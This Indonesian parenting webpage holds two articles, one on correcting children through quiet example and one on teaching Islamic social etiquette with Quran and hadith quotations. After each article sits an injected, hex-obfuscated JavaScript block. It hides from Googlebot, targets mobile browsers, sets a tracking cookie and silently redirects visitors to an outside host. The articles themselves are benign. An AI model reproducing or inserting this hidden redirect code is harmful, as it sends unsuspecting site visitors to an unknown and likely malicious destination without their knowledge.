Oleh: Miftahul Jinan, Direktur Griya Parenting

Sebagai orang tua atau guru kita tentu akan menjumpai beberapa perilaku anak yang kurang baik. Tentunya menghadapi perilaku tersebut terpaksa kita harus menegurnya. Ada banyak jenis teguran yang sering dilakukan oleh orang tua, seperti dengan memukul atau membentak anak, menjelaskan dan mempertanyakan kepada anak tentang perilakunya dan lain sebagainya.

Ada satu jenis teguran yang dapat kita lakukan yang mampu menyentuh hari nurani anak-anak kita. Tentunya inilah cara yang paling ideal bagi kita di dalam menegur perilaku anak yang kurang baik. Saat anak meletakkan sampah di dalam kelas tidak pada tempatnya, kita dapat mengambil sampah tersebut tanpa bicara apapun kepada anak dan meletakkannya pada tempatnya. Anak yang melihat aktifitas kita merasa kurang enak hati melihat sampahnya justru diletakkan oleh gurunya.
Saat anak sedang bermain di rumah, kemudian adzan tanda waktu shalat terdengar, orang tua menunjukkan persiapan dirinya untuk segera pergi ke masjid. Anak yang melihat orang tuanya mempersiapkan diri ke masjid tidak nyaman jika tidak mengikuti orang tuanya.

Mungkin di antara kita akan membayangkan ini terlalu sulit untuk dilakukan oleh kita para orang tua dan guru. Apalagi anak ditegur menggunakan ucapan saja seringkali tidak melaksanakannya. Apalagi jika kita tegur dengan tanpa ucapan.
Kalau dapat saya sedikit menjelaskan tentang teguran hati nurani ini, memang cukup sulit untuk sampai tahapan teguran seperti ini, karena ini adalah teguran yang paling ideal yang dapat kita lakukan. Tetapi minimal kita mempunyai tujuan jauh, di suatu hari akan dapat mencapainya dengan baik.
Ada beberapa pra syarat yang harus kita lewati sehingga tahapan teguran paling ideal ini dapat kita laksanakan terhadap anak-anak kita, yaitu :
<ol>
<li>Orang tua dan guru harus membangun sebuah lingkungan yang mempermudah anak untuk melakukan aktifitas positif. Seperti lingkungan yang membiasakan untuk mematikan televisi setiap kali terdengar adzan. Maka akan sangat mudah bagi anak untuk ditegur nuraninya, dibandingkan sebuah lingkungan yang tetap menyalakan televisi walaupun adzan berkumandang</li>
<li>Orang tua dan guru membangun aktifitas positif dengan diskusi dan komunikasi yang baik antara orang tia dan anak. Bukan aktifitas yang dibangun dengan paksaan dan kekerasan. Sehingga anak-anak melakukan aktifitas tersebut dengan penuh kesadaran dan pemahaman yang baik</li>
<li>Aktifitas positif yang disempurnakan dengan contoh yang kuat dari orang tua, bukan aktifitas yang sulit bagi anak untuk mendapatkan contoh</li>
<li>Saat orang tua dan guru memberikan teguran hati nurani, muncul dari rasa cinta akan kebaikan perilaku anaknya. Bukan diliputi oleh kebencian akan perilaku anaknya yang kurang baik.</li>
</ol>
&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Membangun Etika Sosial Anak

Syaikh Ulwan dalam bukunya Tarbiyatul Aulad menyatakan bahwa setelah kita mulai membangun sifat dasar jiwa sosial dan melatih anak memelihara hak orang lain, kita perlu mengajarkan pada anak-anak kita berbagai macam etika sosial. Mengapa etika sosial penting untuk ditanamkan, sebab inilah wujud akhlaqul karimah yang didasari iman dan taqwa.

Ranah etika sosial yang perlu kita latih pada anak selanjutnya adalah etika dalam pergaulan sosial. Apa sajakah yang perlu kita latihkan pada anak kita, inilah poin-poin dari Syaikh Ulwan :

1. Mengucapkan salam ketika berjumpa, karena salam adalah doa. Jika masuk rumah mari ucapkan salam, jika sedang berkendara ucapkan salam pada orang yangg dikenal yangg kita temui sedang berjalan, jika kita berjalan meewati sekelompok orang sedang duduk ucapkan salam, dan selalu mengingatkan kita untuk segera menjawab salam yangg diucapkan orang lain.

"..maka apabila kamu memasuki rumah hendaklah kamu memberi salam kepada penghuninya.." (QS An Nur : 61)

"Hendaklah orang yg berkendaraan mengucap salam pada yg berjalan kaki, orang yg berjalan pd yg duduk, org yg sedikit pd yg orang yg banyak" (HR Asy Syaikani)

2. Meminta ijin ketika akan bertamu atau ketika akan melakukan sesuatu yang berkaitan dengan orang lain.Anak kita perlu dibiasakan mengetuk pintu jika mau masuk kamar ayah ibunya, perlu dibiasakan bilang permisi, ketika mau lewat. Atau juga minta ijin dalam menggunakan barang atau melakukan sesuatu. Contoh, bolehkah saya pake hape mama?, Abi, keluar sebentar, ke rumah teman, boleh ya?

"Dan apabila anak sampai umur baligh, maka hendaklah mereka minta ijin…"(QS An Nur : 59)

"Meminta ijin itu tiga kali, jika diijinkan, maka itu untukmu, jika tidak maka kembalilah" HR Abu Musa

3. Menahan suara agar tidak keras ketika bersin atau menguap. Untuk hal sekecil ini, kita perlu melatih anak agar tidak mengganggu orang lain.

"Sesungguhnya Allah menyukai bersin dan membenci menguap" (HR Muslim)
"Sesungguhnya Allah membenci suara keras pada waktu menguap dan bersin" HR Ibnu Sunni

"Apabila salah seorang diantara kalian menguap,hendaklah ia menutup mulut dg tangannya, sebab saat itu setan masuk" (HR Muslim)
4. Mendoakan orang yang bersin dan menguap. Sebagai bentuk perhatian kita pada orang tersebut.

"Apabila salah seorang diantara kamu bersin, maka hendaklah teman duduknya mendoakannya" (HR Ibnu Sunni)

5. Mengucapkan selamat setiap kali seseorang mendapat kebahagiaan. Ucapan selamat perlu dilakukan dengan pilihan kata dan doa yangg indah, dengan bahasa yangg lembut, dengan nada yangg hangat, ini penting sebab dengan cara ini kita telah menggembiarakan orang yg kita beri selamat.

"Barangsiapa bertemu saudaranya dengan membawa sesuatu yang disukainya utk menggembirakannya, niscaya Allah akan menggembirakannya pada hari kiamat" (HR Thabrani)

6. Mengunjungi ketika sakit. Anak2 kita perlu dibiasakan sejak kecil utk ini agar terbiasa merasakan penderitaan orang lain, sehingga ketika besar mereka punya motivasi utk berperan dlm msyarakat dlm suka maupun duka, bisa berbgai kegembiraan maupun kesusahan.

"Hak orang muslim dengan muslim lainnya ada lima : menjawab salam, menjenguk orang sakit, mengiringi jenazah, memenuhi undangan, &amp; mendokan orang bersin" (HR Bukhari)

"Tidak pernah Rasulullah mengunjungi seseorang yang sakit kecuali setelah tiga hari" (HR Ibnu Majah)

7. Bertakziah ketika sebuah keluarga ditimpa kematian salah satu anggota keluarganya. Anak perlu mendapat pengalaman untuk mendukung keluarga yang bersedih untuk bersabar, dan menghibur mereka.

"Barangsiapa bertakziah kepada seseorang yang terkena musibah, maka ia akan mendapatkan pahala yang setimpal" (HR Tirmidzi)

Sahabat, adalah penting untuk mendidik anak kita memiliki etika pergaulan sosial yang baik, sebab setiap kebaikan akan kembali pada anak-anak kita. Andaikan kita sebagai orang tua telah jauh dari anak, atau telah tiada anak-anak kita akan hidup dengan masyarakat luas dan kita bisa tenang jika telah membekalkan cara bergaul yang baik. Insya Allah anak-anak kita juga mendapatkan kebaikan dr lingkungan di sekitarnya.

Oleh : Ani Ch, penulis buku &amp; pemerhati pendidikan keluarga<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>